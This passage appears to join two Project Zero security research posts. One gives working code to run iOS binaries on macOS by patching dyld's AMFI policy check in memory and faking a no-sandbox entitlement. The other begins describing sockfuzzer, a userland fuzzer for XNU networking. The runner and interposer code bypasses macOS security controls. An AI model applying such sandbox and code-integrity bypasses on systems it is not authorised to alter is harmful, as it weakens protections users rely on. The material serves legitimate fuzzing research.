                            signature_failure_reason = os_reason_create(OS_REASON_EXEC,


                            error = EACCES;

                            goto done;

                } else if (psa->psa_platform != PLATFORM_IOS) {

                        /* Simulator binary spawned with wrong platform */

                        signature_failure_reason = os_reason_create(OS_REASON_EXEC,


                        error = EACCES;

                        goto done;

                } else {

                        printf("Allowing spawn of iOS binary %s since

                            correct platform was passed in spawn\n", p->p_name);



#endif /* XNU_TARGET_OS_OSX */



This code is active on macOS and will execute if the platform of the to-be-executed process is PLATFORM_IOS. In essence, the code checks for an undocumented posix_spawn attribute, psa_platform, and in the absence of it (or if its value is not PLATFORM_IOS), will terminate the process in the way we have previously observed.

As such, to avoid EXEC_EXIT_REASON_WRONG_PLATFORM, it should only be necessary to use the undocumented posix_spawnattr_set_platform_np syscall to set the target platform to PLATFORM_IOS, then invoke posix_spawn to execute the iOS binary:

    posix_spawnattr_t attr;


    posix_spawnattr_set_platform_np(&attr, PLATFORM_IOS, 0);

    posix_spawn(&pid, binary_path, NULL, &attr, argv, environ);

Doing that will now result in:

> ./runner hello


[*] Child exited with status 5

No more SIGKILL, progress! Exit status 5 corresponds to SIGTRAP, which likely implies that the process is now terminating in userspace. And indeed, the crash report confirms that the process is crashing sometime during library initialization now.


At this point we have a PLATFORM_IOS process running in macOS userspace. The next thing that now happens is that dyld, the dynamic linker, starts mapping all libraries that the binary depends on and executes any initializers they might have. Unfortunately, one of the first libraries now being initialized, libsystem_secinit.dylib, tries to determine whether it should initialize the app sandbox based on the binary’s platform and its entitlements. The logic is roughly:

initialize_app_sandbox = False

if entitlement(“com.apple.security.app-sandbox”) == True:

    initialize_app_sandbox = True

if active_platform() == PLATFORM_IOS &&

   entitlement(“com.apple.private.security.no-sandbox”) != True:

    initialize_app_sandbox = True

As such, libsystem_secinit will decide that it should initialize the app sandbox and will then contact secinitd(8), “the security policy initialization daemon”, to obtain a sandbox profile. As that daemon cannot determine the app corresponding to the process in question it will fail, and libsystem_secinit.dylib will then abort(3) the process:

(lldb) bt

* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BREAKPOINT

  * frame #0: libsystem_secinit.dylib`_libsecinit_appsandbox.cold.5

    frame #1: libsystem_secinit.dylib`_libsecinit_appsandbox

    frame #2: libsystem_trace.dylib` ...

    frame #3: libsystem_secinit.dylib`_libsecinit_initializer

    frame #4: libSystem.B.dylib`libSystem_initializer

    frame #5: libdyld.dylib`...

    frame #6: libdyld.dylib`...

    frame #7: libdyld.dylib`dyld3::AllImages::runLibSystemInitializer

    frame #8: libdyld.dylib`...

    frame #9: dyld`...

    frame #10: dyld`dyld::_main

    frame #11: dyld`dyldbootstrap::start

    frame #12: dyld`_dyld_start + 56

As a side note, logic like the above will turn out to be a somewhat common theme: various components responsible for the runtime environment will have special handling for iOS binaries, in which case they tend to enforce various policies more aggressively.

One possible way to solve this would be to sign the iOS binary with a self-signed (and locally trusted) code signing certificate and granting it the “com.apple.private.security.no-sandbox” entitlement. This would then cause libsystem_secinit to not attempt to initialize the app sandbox. Unfortunately, it seems that while AppleMobileFileIntegrity (“amfi” - the OS component implementing various security policies like entitlement and code signing checks) will allow macOS binaries to be signed by locally-trusted code-signing certificates if SIP is disabled, it will not do so for iOS binaries. Instead, it appears to enforce roughly the same requirements as on iOS, namely that the binary must either be signed by Apple directly (in case the app is downloaded from the app store) or there must exist a valid (i.e. one signed by Apple) provisioning profile for the code-signing entity which explicitly allows the entitlements. As such, this path appears like a dead end.

Another way to work around the sandbox initialization would be to use dyld interposing to replace xpc_copy_entitlements_for_self, which libsystem_secinit invokes to obtain the process’ entitlements, with another function that would simply return the “com.apple.private.security.no-sandbox” entitlement. This would in turn prevent libsystem_secinit from attempting to initialize the sandbox.

Unfortunately, the iOS process is subject to further restrictions, likely part of the “hardened runtime” suite, which causes dyld to disable library interposing (some more information on this mechanism is available here). This policy is also implemented by amfi, in AppleMobileFileIntegrity.kext (the kernel component of amfi):

__int64 __fastcall macos_dyld_policy_library_interposing(proc *a1, int *a2)


  int v3; // w8

  v3 = *a2;


  if ( (v3 & 0x10400) == 0x10000 )   // flag is set for iOS binaries


    logDyldPolicyRejection(a1, "library interposing", "Denying library interposing for iOS app\n");

    return 0LL;


  return 64LL;


As can be seen, AMFI will deny library interposing for all iOS binaries. Unfortunately, I couldn’t come up with a better solution for this than to patch the code of dyld at runtime to ignore AMFI’s policy decision and thus allow library interposing. Fortunately though, doing lightweight runtime code patching is fairly easy through the use of some classic mach APIs:

  1. Find the offset of _amfi_check_dyld_policy_self in /usr/lib/dyld, e.g. with nm(1)
  2. Start the iOS process with the POSIX_SPAWN_START_SUSPENDED attribute so it is initially suspended (the equivalent of SIGSTOP). At this point, only dyld and the binary itself will have been mapped into the process’ memory space by the kernel.
  3. “Attach” to the process using task_for_pid
  4. Find the location of dyld in memory through vm_region_recurse_64
  5. Map dyld’s code section writable using vm_protect(VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY) (where VM_PROT_COPY is seemingly necessary to force the pages to be copied since they are shared)
  6. Patch  _amfi_check_dyld_policy_self through vm_write to simply return 0x5f (indicating that dyld interposing and other features should be allowed)
  7. Map dyld’s code section executable again

To be able to use the task_for_pid trap, the runner binary will either need the “com.apple.security.cs.debugger” entitlement or root privileges. However, as the runner is a macOS binary, it can be given this entitlement through a self-signed certificate which amfi will then allow.

As such, the full steps necessary to launch an iOS binary on macOS are:

  1. Use the posix_spawnattr_set_platform_np API to set the target platform to PLATFORM_IOS
  2. Execute the new process via posix_spawn(2) and start it suspended
  3. Patch dyld to allow library interposing
  4. In the interposed library, claim to possess the com.apple.security.cs.debugger entitlement by replacing xpc_copy_entitlements_for_self
  5. Continue the process by sending it SIGCONT

This can now be seen in action:

> cat hello.c

#include <stdio.h>

int main() {

    puts("Hello from an iOS binary!");

    return 0;


> clang -arch arm64 hello.c -o hello -isysroot \

/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk interpose.dylib

> ./runner hello

[*] Preparing to execute iOS binary hello

[+] Child process created with pid: 48302

[*] Patching child process to allow dyld interposing...

[*] _amfi_check_dyld_policy_self at offset 0x54d94 in /usr/lib/dyld

[*] /usr/lib/dyld mapped at 0x1049ec000

[+] Successfully patched _amfi_check_dyld_policy_self

[*] Sending SIGCONT to continue child

[*] Faking no-sandbox entitlement in xpc_copy_entitlements_for_self

Hello from an iOS binary!

[*] Child exited with status 0


With the ability to launch iOS processes, it now becomes possible to fuzz existing iOS code natively on macOS as well. I decided to use Honggfuzz for a simple PoC of this that also used lightweight coverage guidance (based on the Trapfuzz instrumentation approach). The main issue with this approach is that honggfuzz uses the combination of fork(2) followed by execve(2) to create the child processes, while also performing various operations, such as dup2’ing file descriptors, setting environment variables, etc after forking but before exec’ing. However, the iOS binary must be executed through posix_spawn, which means that these operations must be performed at some other time. Furthermore, as honggfuzz itself is still compiled for macOS, some steps of the compilation of the target binary will fail (they will attempt to link previously compiled .o files, but now the platform no longer matches) and so have to be replaced. There are certainly better ways to do this (and I encourage the reader to implement it properly), but this was the approach that I got to work the quickest.

The hacky proof-of-concept patch for honggfuzz can be found here. In addition to building honggfuzz for arm64, the honggfuzz binary is subsequently signed and given the “com.apple.security.cs.debugger” entitlement in order for task_for_pid to work.


This blog post discussed how iOS apps are run on macOS and how that functionality can be used to execute any code compiled for iOS natively on macOS. This in turn can facilitate dynamic analysis and fuzzing of iOS code, and thus might make the platform a tiny bit more open for security researchers.


Attachment 1: runner.c

// clang -o runner runner.c

// cat <<EOF > entitlements.xml

// <?xml version="1.0" encoding="UTF-8"?>

// <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"\>

// <plist version="1.0">

// <dict>

//     <key>com.apple.security.cs.debugger</key>

//     <true/>

// </dict>

// </plist>

// EOF

// # Find available code signing identities using `security find-identity`

// codesign -s "$IDENTITY" --entitlements entitlements.xml runner


#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#include <dlfcn.h>

#include <signal.h>

#include <unistd.h>

#include <spawn.h>

#include <sys/wait.h>

#include <mach/mach_init.h>

#include <mach/vm_map.h>

#include <mach/vm_page_size.h>

#define page_align(addr) (vm_address_t)((uintptr_t)(addr) & (~(vm_page_size - 1)))

#define PLATFORM_IOS 2

extern char **environ;

extern int posix_spawnattr_set_platform_np(posix_spawnattr_t*, int, int);

void instrument(pid_t pid) {

    kern_return_t kr;

    task_t task;

    puts("[*] Patching child process to allow dyld interposing...");

    // Find patch point

    FILE* output = popen("nm -arch arm64e /usr/lib/dyld  | grep _amfi_check_dyld_policy_self", "r");

    unsigned int patch_offset;

    int r = fscanf(output, "%x t _amfi_check_dyld_policy_self", &patch_offset);

    if (r != 1) {

        printf("Failed to find offset of _amfi_check_dyld_policy_self in /usr/lib/dyld\n");



    printf("[*] _amfi_check_dyld_policy_self at offset 0x%x in /usr/lib/dyld\n", patch_offset);


    // Attach to the target process

    kr = task_for_pid(mach_task_self(), pid, &task);

    if (kr != KERN_SUCCESS) {

        printf("task_for_pid failed. Is this binary signed and possesses the com.apple.security.cs.debugger entitlement?\n");



    vm_address_t dyld_addr = 0;

    int headers_found = 0;

    vm_address_t addr = 0;

    vm_size_t size;

    vm_region_submap_info_data_64_t info;

    mach_msg_type_number_t info_count = VM_REGION_SUBMAP_INFO_COUNT_64;

    unsigned int depth = 0;

    while (1) {

        // get next memory region

        kr = vm_region_recurse_64(task, &addr, &size, &depth, (vm_region_info_t)&info, &info_count);

        if (kr != KERN_SUCCESS)


        unsigned int header;

        vm_size_t bytes_read;

        kr = vm_read_overwrite(task, addr, 4, (vm_address_t)&header, &bytes_read);

        if (kr != KERN_SUCCESS) {

            // TODO handle this, some mappings are probably just not readable

            printf("vm_read_overwrite failed\n");



        if (bytes_read != 4) {

            // TODO handle this properly

            printf("[-] vm_read read to few bytes\n");



        if (header == 0xfeedfacf) {



        if (headers_found == 2) {

            // This is dyld

            dyld_addr = addr;



        addr += size;


    if (dyld_addr == 0) {

        printf("[-] Failed to find /usr/lib/dyld\n");



    printf("[*] /usr/lib/dyld mapped at 0x%lx\n", dyld_addr);

    vm_address_t patch_addr = dyld_addr + patch_offset;

    // VM_PROT_COPY forces COW, probably, see vm_map_protect in vm_map.c

    kr = vm_protect(task, page_align(patch_addr), vm_page_size, false, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY);

    if (kr != KERN_SUCCESS) {

        printf("vm_protect failed\n");




    // MOV X8, 0x5f

    // STR X8, [X1]

    // RET

    const char* code = "\xe8\x0b\x80\xd2\x28\x00\x00\xf9\xc0\x03\x5f\xd6";

    kr = vm_write(task, patch_addr, (vm_offset_t)code, 12);

    if (kr != KERN_SUCCESS) {

        printf("vm_write failed\n");



    kr = vm_protect(task, page_align(patch_addr), vm_page_size, false, VM_PROT_READ | VM_PROT_EXECUTE);

    if (kr != KERN_SUCCESS) {

        printf("vm_protect failed\n");



    puts("[+] Successfully patched _amfi_check_dyld_policy_self");


int run(const char** argv) {

    pid_t pid;

    int rv;

    posix_spawnattr_t attr;

    rv = posix_spawnattr_init(&attr);

    if (rv != 0) {


        return -1;


    rv = posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED);

    if (rv != 0) {


        return -1;


    rv = posix_spawnattr_set_platform_np(&attr, PLATFORM_IOS, 0);

    if (rv != 0) {


        return -1;


    rv = posix_spawn(&pid, argv[0], NULL, &attr, argv, environ);

    if (rv != 0) {


        return -1;


    printf("[+] Child process created with pid: %i\n", pid);


    printf("[*] Sending SIGCONT to continue child\n");

    kill(pid, SIGCONT);

    int status;

    rv = waitpid(pid, &status, 0);

    if (rv == -1) {


        return -1;


    printf("[*] Child exited with status %i\n", status);


    return 0;


int main(int argc, char* argv[]) {

    if (argc <= 1) {

        printf("Usage: %s path/to/ios_binary\n", argv[0]);

        return 0;


    printf("[*] Preparing to execute iOS binary %s\n", argv[1]);

    return run(argv + 1);


Attachment 2: interpose.c

// clang interpose.c -arch arm64 -o interpose.dylib -shared -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk

#include <stdio.h>

#include <unistd.h>

typedef void* xpc_object_t;

extern xpc_object_t xpc_dictionary_create(void*, void*, int);

extern void xpc_dictionary_set_value(xpc_object_t, const char*, xpc_object_t);

extern xpc_object_t xpc_bool_create(int);

extern xpc_object_t xpc_copy_entitlements_for_self();

// From https://opensource.apple.com/source/dyld/dyld-97.1/include/mach-o/dyld-interposing.h.auto.html


 *  Example:


 *  static

 *  int

 *  my_open(const char* path, int flags, mode_t mode)

 *  {

 *    int value;

 *    // do stuff before open (including changing the arguments)

 *    value = open(path, flags, mode);

 *    // do stuff after open (including changing the return value(s))

 *    return value;

 *  }

 *  DYLD_INTERPOSE(my_open, open)


#define DYLD_INTERPOSE(_replacment,_replacee) \

   __attribute__((used)) static struct{ const void* replacment; const void* replacee; } _interpose_##_replacee \

            __attribute__ ((section ("__DATA,__interpose"))) = { (const void*)(unsigned long)&_replacment, (const void*)(unsigned long)&_replacee };

xpc_object_t my_xpc_copy_entitlements_for_self() {

    puts("[*] Faking com.apple.private.security.no-sandbox entitlement in interposed xpc_copy_entitlements_for_self");

    xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);

    xpc_dictionary_set_value(dict, "com.apple.private.security.no-sandbox", xpc_bool_create(1));

    return dict;


DYLD_INTERPOSE(my_xpc_copy_entitlements_for_self, xpc_copy_entitlements_for_self);

Designing sockfuzzer, a network syscall fuzzer for XNU

22 April 2021 at 18:05
By: Ryan

Posted by Ned Williamson, Project Zero


When I started my 20% project – an initiative where employees are allocated twenty-percent of their paid work time to pursue personal projects –  with Project Zero, I wanted to see if I could apply the techniques I had learned fuzzing Chrome to XNU, the kernel used in iOS and macOS. My interest was sparked after learning some prominent members of the iOS research community believed the kernel was “fuzzed to death,” and my understanding was that most of the top researchers used auditing for vulnerability research. This meant finding new bugs with fuzzing would be meaningful in demonstrating the value of implementing newer fuzzing techniques. In this project, I pursued a somewhat unusual approach to fuzz XNU networking in userland by converting it into a library, “booting” it in userspace and using my standard fuzzing workflow to discover vulnerabilities. Somewhat surprisingly, this worked well enough to reproduce some of my peers’ recent discoveries and report some of my own, one of which was a reliable privilege escalation from the app context, CVE-2019-8605, dubbed “SockPuppet.” I’m excited to open source this fuzzing project, “sockfuzzer,” for the community to learn from and adapt. In this post, we’ll do a deep dive into its design and implementation.

Attack Surface Review and Target Planning

Choosing Networking

We’re at the beginning of a multistage project. I had enormous respect for the difficulty of the task ahead of me. I knew I would need to be careful investing time at each stage of the process, constantly looking for evidence that I needed to change direction. The first big decision was to decide what exactly we wanted to target.

I started by downloading the XNU sources and reviewing them, looking for areas that handled a lot of attacker-controlled input and seemed amenable to fuzzing – immediately the networking subsystem jumped out as worthy of research. I had just exploited a Chrome sandbox bug that leveraged collaboration between an exploited renderer process and a server working in concert. I recognized these attack surfaces’ power, where some security-critical code is “sandwiched” between two attacker-controlled entities. The Chrome browser process is prone to use after free vulnerabilities due to the difficulty of managing state for large APIs, and I suspected XNU would have the same issue. Networking features both parsing and state management. I figured that even if others had already fuzzed the parsers extensively, there could still be use after free vulnerabilities lying dormant.

I then proceeded to look at recent bug reports. Two bugs that caught my eye: the mptcp overflow discovered by Ian Beer and the ICMP out of bounds write found by Kevin Backhouse. Both of these are somewhat “straightforward” buffer overflows. The bugs’ simplicity hinted that kernel networking, even packet parsing, was sufficiently undertested. A fuzzer combining network syscalls and arbitrary remote packets should be large enough in scope to reproduce these issues and find new ones.

Digging deeper, I wanted to understand how to reach these bugs in practice. By cross-referencing the functions and setting kernel breakpoints in a VM, I managed to get a more concrete idea. Here’s the call stack for Ian’s MPTCP bug:

The buggy function in question is mptcp_usr_connectx. Moving up the call stack, we find the connectx syscall, which we see in Ian’s original testcase. If we were to write a fuzzer to find this bug, how would we do it? Ultimately, whatever we do has to both find the bug and give us the information we need to reproduce it on the real kernel. Calling mptcp_usr_connectx directly should surely find the bug, but this seems like the wrong idea because it takes a lot of arguments. Modeling a fuzzer well enough to call this function directly in a way representative of the real code is no easier than auditing the code in the first place, so we’ve not made things any easier by writing a targeted fuzzer. It’s also wasted effort to write a target for each function this small. On the other hand, the further up the call stack we go, the more complexity we may have to support and the less chance we have of landing on the bug. If I were trying to unit test the networking stack, I would probably avoid the syscall layer and call the intermediate helper functions as a middle ground. This is exactly what I tried in the first draft of the fuzzer; I used sock_socket to create struct socket* objects to pass to connectitx in the hopes that it would be easy to reproduce this bug while being high-enough level that this bug could plausibly have been discovered without knowing where to look for it. Surprisingly, after some experimentation, it turned out to be easier to simply call the syscalls directly (via connectx). This makes it easier to translate crashing inputs into programs to run against a real kernel since testcases map 1:1 to syscalls. We’ll see more details about this later.

We can’t test networking properly without accounting for packets. In this case, data comes from the hardware, not via syscalls from a user process. We’ll have to expose this functionality to our fuzzer. To figure out how to extend our framework to support random packet delivery, we can use our next example bug. Let’s take a look at the call stack for delivering a packet to trigger the ICMP bug reported by Kevin Backhouse:

To reach the buggy function, icmp_error, the call stack is deeper, and unlike with syscalls, it’s not immediately obvious which of these functions we should call to cover the relevant code. Starting from the very top of the call stack, we see that the crash occurred in a kernel thread running the dlil_input_thread_func function. DLIL stands for Data Link Interface Layer, a reference to the OSI model’s data link layer. Moving further down the stack, we see ether_inet_input, indicating an Ethernet packet (since I tested this issue using Ethernet). We finally make it down to the IP layer, where ip_dooptions signals an icmp_error. As an attacker, we probably don’t have a lot of control over the interface a user uses to receive our input, so we can rule out some of the uppermost layers. We also don’t want to deal with threads in our fuzzer, another design tradeoff we’ll describe in more detail later. proto_input and ip_proto_input don’t do much, so I decided that ip_proto was where I would inject packets, simply by calling the function when I wanted to deliver a packet. After reviewing proto_register_input, I discovered another function called ip6_input, which was the entry point for the IPv6 code. Here’s the prototype for ip_input:

void ip_input(struct mbuf *m);

Mbufs are message buffers, a standard buffer format used in network stacks. They enable multiple small packets to be chained together through a linked list. So we just need to generate mbufs with random data before calling

I was surprised by how easy it was to work with the network stack compared to the syscall interface. `ip_input` and `ip6_input` pure functions that don’t require us to know any state to call them. But stepping back, it made more sense. Packet delivery is inherently a clean interface: our kernel has no idea what arbitrary packets may be coming in, so the interface takes a raw packet and then further down in the stack decides how to handle it. Many packets contain metadata that affect the kernel state once received. For example, TCP or UDP packets will be matched to an existing connection by their port number.

Most modern coverage guided fuzzers, including this LibFuzzer-based project, use a design inspired by AFL. When a test case with some known coverage is mutated and the mutant produces coverage that hasn’t been seen before, the mutant is added to the current corpus of inputs. It becomes available for further mutations to produce even deeper coverage. Lcamtuf, the author of AFL, has an excellent demonstration of how this algorithm created JPEGs using coverage feedback with no well-formed starting samples. In essence, most poorly-formed inputs are rejected early. When a mutated input passes a validation check, the input is saved. Then that input can be mutated until it manages to pass the second validation check, and so on. This hill climbing algorithm has no problem generating dependent sequences of API calls, in this case to interleave syscalls with ip_input and ip6_input. Random syscalls can get the kernel into some state where it’s expecting a packet. Later, when libFuzzer guesses a packet that gets the kernel into some new state, the hill climbing algorithm will record a new test case when it sees new coverage. Dependent sequences of syscalls and packets are brute-forced in a linear fashion, one call at a time.

Designing for (Development) Speed

Now that we know where to attack this code base, it’s a matter of building out the fuzzing research platform. I like thinking of it this way because it emphasizes that this fuzzer is a powerful assistant to a researcher, but it can’t do all the work. Like any other test framework, it empowers the researcher to make hypotheses and run experiments over code that looks buggy. For the platform to be helpful, it needs to be comfortable and fun to work with and get out of the way.

When it comes to standard practice for kernel fuzzing, there’s a pretty simple spectrum for strategies. On one end, you fuzz self-contained functions that are security-critical, e.g., OSUnserializeBinary. These are easy to write and manage and are generally quite performant. On the other end, you have “end to end” kernel testing that performs random syscalls against a real kernel instance. These heavyweight fuzzers have the advantage of producing issues that you know are actionable right away, but setup and iterative development are slower. I wanted to try a hybrid approach that could preserve some of the benefits of each style. To do so, I would port the networking stack of XNU out of the kernel and into userland while preserving as much of the original code as possible. Kernel code can be surprisingly portable and amenable to unit testing, even when run outside its natural environment.

There has been a push to add more user-mode unit testing to Linux. If you look at the documentation for Linux’s KUnit project, there’s an excellent quote from Linus Torvalds: “… a lot of people seem to think that performance is about doing the same thing, just doing it faster, and that is not true. That is not what performance is all about. If you can do something really fast, really well, people will start using it differently.” This statement echoes the experience I had writing targeted fuzzers for code in Chrome’s browser process. Due to extensive unit testing, Chrome code is already well-factored for fuzzing. In a day’s work, I could try out many iterations of a fuzz target and the edit/build/run cycle. I didn’t have a similar mechanism out of the box with XNU. In order to perform a unit test, I would need to rebuild the kernel. And despite XNU being considerably smaller than Chrome, incremental builds were slower due to the older kmk build system. I wanted to try bridging this gap for XNU.

Setting up the Scaffolding

“Unit” testing a kernel up through the syscall layer sounds like a big task, but it’s easier than you’d expect if you forgo some complexity. We’ll start by building all of the individual kernel object files from source using the original build flags. But instead of linking everything together to produce the final kernel binary, we link in only the subset of objects containing code in our target attack surface. We then stub or fake the rest of the functionality. Thanks to the recon in the previous section, we already know which functions we want to call from our fuzzer. I used that information to prepare a minimal list of source objects to include in our userland port.

Before we dive in, let’s define the overall structure of the project as pictured below. There’s going to be a fuzz target implemented in C++ that translates fuzzed inputs into interactions with the userland XNU library. The target code, libxnu, exposes a few wrapper symbols for syscalls and ip_input as mentioned in the attack surface review section. The fuzz target also exposes its random sequence of bytes to kernel APIs such as copyin or copyout, whose implementations have been replaced with fakes that use fuzzed input data.

To make development more manageable, I decided to create a new build system using CMake, as it supported Ninja for fast rebuilds. One drawback here is the original build system has to be run every time upstream is updated to deal with generated sources, but this is worth it to get a faster development loop. I captured all of the compiler invocations during a normal kernel build and used those to reconstruct the flags passed to build the various kernel subsystems. Here’s what that first pass looks like:





    # ...







    # ...



protobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)

add_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})

target_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)

target_compile_options(net_fuzzer PRIVATE ${FUZZER_CXX_FLAGS})

Of course, without the rest of the kernel, we see tons of missing symbols.

  "_zdestroy", referenced from:

      _if_clone_detach in libxnu.a(if.c.o)

  "_zfree", referenced from:

      _kqueue_destroy in libxnu.a(kern_event.c.o)

      _knote_free in libxnu.a(kern_event.c.o)

      _kqworkloop_get_or_create in libxnu.a(kern_event.c.o)

      _kev_delete in libxnu.a(kern_event.c.o)

      _pipepair_alloc in libxnu.a(sys_pipe.c.o)

      _pipepair_destroy_pipe in libxnu.a(sys_pipe.c.o)

      _so_cache_timer in libxnu.a(uipc_socket.c.o)


  "_zinit", referenced from:

      _knote_init in libxnu.a(kern_event.c.o)

      _kern_event_init in libxnu.a(kern_event.c.o)

      _pipeinit in libxnu.a(sys_pipe.c.o)

      _socketinit in libxnu.a(uipc_socket.c.o)

      _unp_init in libxnu.a(uipc_usrreq.c.o)

      _cfil_init in libxnu.a(content_filter.c.o)

      _tcp_init in libxnu.a(tcp_subr.c.o)


  "_zone_change", referenced from:

      _knote_init in libxnu.a(kern_event.c.o)

      _kern_event_init in libxnu.a(kern_event.c.o)

      _socketinit in libxnu.a(uipc_socket.c.o)

      _cfil_init in libxnu.a(content_filter.c.o)

      _tcp_init in libxnu.a(tcp_subr.c.o)

      _ifa_init in libxnu.a(if.c.o)

      _if_clone_attach in libxnu.a(if.c.o)


ld: symbol(s) not found for architecture x86_64

clang: error: linker command failed with exit code 1 (use -v to see invocation)

ninja: build stopped: subcommand failed.

To get our initial targeted fuzzer working, we can do a simple trick by linking against a file containing stubbed implementations of all of these. We take advantage of C’s weak type system here. For each function we need to implement, we can link an implementation
void func() { assert(false); }. The arguments passed to the function are simply ignored, and a crash will occur whenever the target code attempts to call it. This goal can be achieved with linker flags, but it was a simple enough solution that allowed me to get nice backtraces when I hit an unimplemented function.

// Unimplemented stub functions

// These should be replaced with real or mock impls.

#include <kern/assert.h>

#include <stdbool.h>

int printf(const char* format, ...);

void Assert(const char* file, int line, const char* expression) {

  printf("%s: assert failed on line %d: %s\n", file, line, expression);



void IOBSDGetPlatformUUID() { assert(false); }

void IOMapperInsertPage() { assert(false); }

// ...

Then we just link this file into the XNU library we’re building by adding it to the source list:




    # ...






As you can see, there are some other files I included in the XNU library that represent faked implementations and helper code to expose some internal kernel APIs. To make sure our fuzz target will call code in the linked library, and not some other host functions (syscalls) with a clashing name, we hide all of the symbols in
libxnu by default and then expose a set of wrappers that call those functions on our behalf. I hide all the names by default using a CMake setting set_target_properties(xnu PROPERTIES C_VISIBILITY_PRESET hidden). Then we can link in a file (fuzz/syscall_wrappers.c) containing wrappers like the following:

__attribute__((visibility("default"))) int accept_wrapper(int s, caddr_t name,

                                                          socklen_t* anamelen,

                                                          int* retval) {

  struct accept_args uap = {

      .s = s,

      .name = name,

      .anamelen = anamelen,


  return accept(kernproc, &uap, retval);


Note the visibility attribute that explicitly exports the symbol from the library. Due to the simplicity of these wrappers I created a script to automate this called generate_fuzzer.py using syscalls.master.

With the stubs in place, we can start writing a fuzz target now and come back to deal with implementing them later. We will see a crash every time the target code attempts to use one of the functions we initially left out. Then we get to decide to either include the real implementation (and perhaps recursively require even more stubbed function implementations) or to fake the functionality.

A bonus of getting a build working with CMake was to create multiple targets with different instrumentation. Doing so allows me to generate coverage reports using clang-coverage:

target_compile_options(xnu-cov PRIVATE ${XNU_C_FLAGS} -DLIBXNU_BUILD=1 -D_FORTIFY_SOURCE=0 -fprofile-instr-generate -fcoverage-mapping)

With that, we just add a fuzz target file and a protobuf file to use with protobuf-mutator and we’re ready to get started:

protobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)

add_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})

target_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)


                       PRIVATE -g






target_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES})


target_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES} pthread)


Writing a Fuzz Target

At this point, we’ve assembled a chunk of XNU into a convenient library, but we still need to interact with it by writing a fuzz target. At first, I thought I might write many targets for different features, but I decided to write one monolithic target for this project. I’m sure fine-grained targets could do a better job for functionality that’s harder to fuzz, e.g., the TCP state machine, but we will stick to one for simplicity.

We’ll start by specifying an input grammar using protobuf, part of which is depicted below. This grammar is completely arbitrary and will be used by a corresponding C++ harness that we will write next. LibFuzzer has a plugin called libprotobuf-mutator that knows how to mutate protobuf messages. This will enable us to do grammar-based mutational fuzzing efficiently, while still leveraging coverage guided feedback. This is a very powerful combination.

message Socket {

  required Domain domain = 1;

  required SoType so_type = 2;

  required Protocol protocol = 3;

  // TODO: options, e.g. SO_ACCEPTCONN


message Close {

  required FileDescriptor fd = 1;


message SetSocketOpt {

  optional Protocol level = 1;

  optional SocketOptName name = 2;

  // TODO(nedwill): structure for val

  optional bytes val = 3;

  optional FileDescriptor fd = 4;


message Command {

  oneof command {

    Packet ip_input = 1;

    SetSocketOpt set_sock_opt = 2;

    Socket socket = 3;

    Close close = 4;



message Session {

  repeated Command commands = 1;

  required bytes data_provider = 2;


I left some TODO comments intact so you can see how the grammar can always be improved. As I’ve done in similar fuzzing projects, I have a top-level message called Session that encapsulates a single fuzzer iteration or test case. This session contains a sequence of “commands” and a sequence of bytes that can be used when random, unstructured data is needed (e.g., when doing a copyin). Commands are syscalls or random packets, which in turn are their own messages that have associated data. For example, we might have a session that has a single Command message containing a “Socket” message. That Socket message has data associated with each argument to the syscall. In our C++-based target, it’s our job to translate messages of this custom specification into real syscalls and related API calls. We inform libprotobuf-mutator that our fuzz target expects to receive one “Session” message at a time via the macro DEFINE_BINARY_PROTO_FUZZER.

DEFINE_BINARY_PROTO_FUZZER(const Session &session) {

// ...

  std::set<int> open_fds;

  for (const Command &command : session.commands()) {

    int retval = 0;

    switch (command.command_case()) {

      case Command::kSocket: {

        int fd = 0;

        int err = socket_wrapper(command.socket().domain(),


                                 command.socket().protocol(), &fd);

        if (err == 0) {

          // Make sure we're tracking fds properly.

          if (open_fds.find(fd) != open_fds.end()) {

            printf("Found existing fd %d\n", fd);







      case Command::kClose: {


        close_wrapper(command.close().fd(), nullptr);



      case Command::kSetSockOpt: {

        int s = command.set_sock_opt().fd();

        int level = command.set_sock_opt().level();

        int name = command.set_sock_opt().name();

        size_t size = command.set_sock_opt().val().size();

        std::unique_ptr<char[]> val(new char[size]);

        memcpy(val.get(), command.set_sock_opt().val().data(), size);

        setsockopt_wrapper(s, level, name, val.get(), size, nullptr);



While syscalls are typically a straightforward translation of the protobuf message, other commands are more complex. In order to improve the structure of randomly generated packets, I added custom message types that I then converted into the relevant on-the-wire structure before passing it into ip_input. Here’s how this looks for TCP:

message Packet {

  oneof packet {

    TcpPacket tcp_packet = 1;



message TcpPacket {

  required IpHdr ip_hdr = 1;

  required TcpHdr tcp_hdr = 2;

  optional bytes data = 3;


message IpHdr {

  required uint32 ip_hl = 1;

  required IpVersion ip_v = 2;

  required uint32 ip_tos = 3;

  required uint32 ip_len = 4;

  required uint32 ip_id = 5;

  required uint32 ip_off = 6;

  required uint32 ip_ttl = 7;

  required Protocol ip_p = 8;

  required InAddr ip_src = 9;

  required InAddr ip_dst = 10;


message TcpHdr {

  required Port th_sport = 1;

  required Port th_dport = 2;

  required TcpSeq th_seq = 3;

  required TcpSeq th_ack = 4;

  required uint32 th_off = 5;

  repeated TcpFlag th_flags = 6;

  required uint32 th_win = 7;

  required uint32 th_sum = 8;

